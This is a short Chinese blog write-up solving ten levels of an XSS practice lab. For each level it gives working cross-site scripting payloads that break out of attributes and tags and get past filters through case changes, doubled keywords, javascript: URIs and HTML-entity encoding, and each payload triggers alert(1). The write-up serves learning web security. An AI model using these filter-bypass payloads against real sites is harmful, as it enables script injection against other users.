lv1 直接弹窗

payload:<script>alert(1)</script>

lv2 闭合input,弹窗

payload:test"/><script>alert(1)</script>

lv3 发现双引号"逃逸不出来inptu,于是尝试单引号'发生改变,然而还是逃逸不出来,只好使用javascrpt:alert(1),由于有文本框,直接用onclick。

payload:dsadsa' onclick='javascript:alert(1)

lv4 尝试逃逸Inptu失败,且尖括号被过滤,尝试直接闭合“”“”后文本框弹窗

payload:adsadsa" onclick="alert(1)

lv5 规则测试后,发现script\on,大小写被过滤,注意到尖括号已经超出边界,那么使用标签+javascript绕过。

image.png

payload:test"/><a href="javascript:alert(1)" />

lv6 用lv5的payload时,发现href被分割过滤,采用大小写替换,成功弹窗。

image.png

payload:test"/><a hReF="javascript:alert(1)" />

lv7 用之前的payload失效且无用,发现on/script直接被replace成空,那么采用双写关键字绕过。

image.png

payload:test" oonnclick="java:alert(1)
LV8 添加友情链接,尝试<a src="javascript:alert(1)" />发现问题后采取utf-8编码绕过。

image.png

utf-8编码尝试绕过。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

#javascript:alert(1)

LV9 链接不合法,那么用编码弹窗+合法链接触发弹窗。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

image.png

LV 10 无文本框那么直接在url搜索,发现隐藏表单的参数有:t_link,t_history,t_sort,那么构造表单为:&t_sort=1'时有参数传入,如下,那么给该参数制造一个文本框,利用其触发弹窗。

image.png

payload:well done!&t_sort=1" type="text" onmouseover="alert(1)"


赞 (0)
本文由 Aatrox 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论